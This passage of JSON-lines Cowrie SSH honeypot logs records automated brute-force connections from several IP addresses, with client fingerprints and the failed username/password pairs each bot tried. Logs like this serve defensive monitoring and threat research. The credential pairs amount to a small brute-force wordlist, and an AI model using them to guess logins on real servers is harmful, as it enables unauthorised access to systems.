0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:12.878916Z","src_ip":"192.109.200.78","session":"910414e9a53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:13.122405Z","src_ip":"192.109.200.78","session":"910414e9a53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:14.205728Z","src_ip":"192.109.200.78","session":"910414e9a53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33672,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e979f396d5a","protocol":"ssh","message":"New connection: 192.109.200.78:33672 (10.17.0.5:22) [session: 6e979f396d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:16.067508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:16.077211Z","src_ip":"192.109.200.78","session":"6e979f396d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:16.158025Z","src_ip":"192.109.200.78","session":"6e979f396d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:16.402579Z","src_ip":"192.109.200.78","session":"6e979f396d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:17.487237Z","src_ip":"192.109.200.78","session":"6e979f396d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33674,"dst_ip":"10.17.0.5","dst_port":22,"session":"b853985f945f","protocol":"ssh","message":"New connection: 192.109.200.78:33674 (10.17.0.5:22) [session: b853985f945f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:19.439940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:19.446237Z","src_ip":"192.109.200.78","session":"b853985f945f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:19.523024Z","src_ip":"192.109.200.78","session":"b853985f945f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:19.846105Z","src_ip":"192.109.200.78","session":"b853985f945f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:20.931446Z","src_ip":"192.109.200.78","session":"b853985f945f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40218,"dst_ip":"10.17.0.5","dst_port":22,"session":"db551ac5319b","protocol":"ssh","message":"New connection: 192.109.200.78:40218 (10.17.0.5:22) [session: db551ac5319b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:22.774030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:22.777871Z","src_ip":"192.109.200.78","session":"db551ac5319b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:22.860249Z","src_ip":"192.109.200.78","session":"db551ac5319b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":44536,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f37181e4fcb","protocol":"ssh","message":"New connection: 152.32.171.213:44536 (159.203.135.109:22) [session: 6f37181e4fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:23.076770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:23.079319Z","src_ip":"152.32.171.213","session":"6f37181e4fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:23.102883Z","src_ip":"192.109.200.78","session":"db551ac5319b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:23.295798Z","src_ip":"152.32.171.213","session":"6f37181e4fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"superadmin","password":"superadmin@123","message":"login attempt [superadmin/superadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:24.201428Z","src_ip":"152.32.171.213","session":"6f37181e4fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:24.263794Z","src_ip":"192.109.200.78","session":"db551ac5319b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:25.422124Z","src_ip":"152.32.171.213","session":"6f37181e4fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":38556,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf3d32e5a73","protocol":"ssh","message":"New connection: 92.207.4.157:38556 (159.203.135.109:22) [session: bcf3d32e5a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:25.951644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:25.957992Z","src_ip":"92.207.4.157","session":"bcf3d32e5a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40226,"dst_ip":"10.17.0.5","dst_port":22,"session":"37289c696330","protocol":"ssh","message":"New connection: 192.109.200.78:40226 (10.17.0.5:22) [session: 37289c696330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.029483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.032839Z","src_ip":"192.109.200.78","session":"37289c696330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.054845Z","src_ip":"92.207.4.157","session":"bcf3d32e5a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.122644Z","src_ip":"192.109.200.78","session":"37289c696330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.364568Z","src_ip":"192.109.200.78","session":"37289c696330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rd","message":"login attempt [root/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:26.471800Z","src_ip":"92.207.4.157","session":"bcf3d32e5a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:27.449795Z","src_ip":"192.109.200.78","session":"37289c696330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:27.569033Z","src_ip":"92.207.4.157","session":"bcf3d32e5a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40236,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb9104fa910","protocol":"ssh","message":"New connection: 192.109.200.78:40236 (10.17.0.5:22) [session: eeb9104fa910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:29.521481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:29.559419Z","src_ip":"192.109.200.78","session":"eeb9104fa910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:29.601763Z","src_ip":"192.109.200.78","session":"eeb9104fa910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:29.918150Z","src_ip":"192.109.200.78","session":"eeb9104fa910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:31.001180Z","src_ip":"192.109.200.78","session":"eeb9104fa910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":53692,"dst_ip":"10.17.0.5","dst_port":22,"session":"3957e49c4261","protocol":"ssh","message":"New connection: 103.82.20.28:53692 (10.17.0.5:22) [session: 3957e49c4261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:31.684569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:31.690321Z","src_ip":"103.82.20.28","session":"3957e49c4261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:31.950258Z","src_ip":"103.82.20.28","session":"3957e49c4261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan1989","message":"login attempt [root/ivan1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:32.730496Z","src_ip":"103.82.20.28","session":"3957e49c4261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35478,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b8a3ecdb52","protocol":"ssh","message":"New connection: 192.109.200.78:35478 (10.17.0.5:22) [session: b1b8a3ecdb52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:32.867825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:32.871222Z","src_ip":"192.109.200.78","session":"b1b8a3ecdb52","protocol":"ssh"}
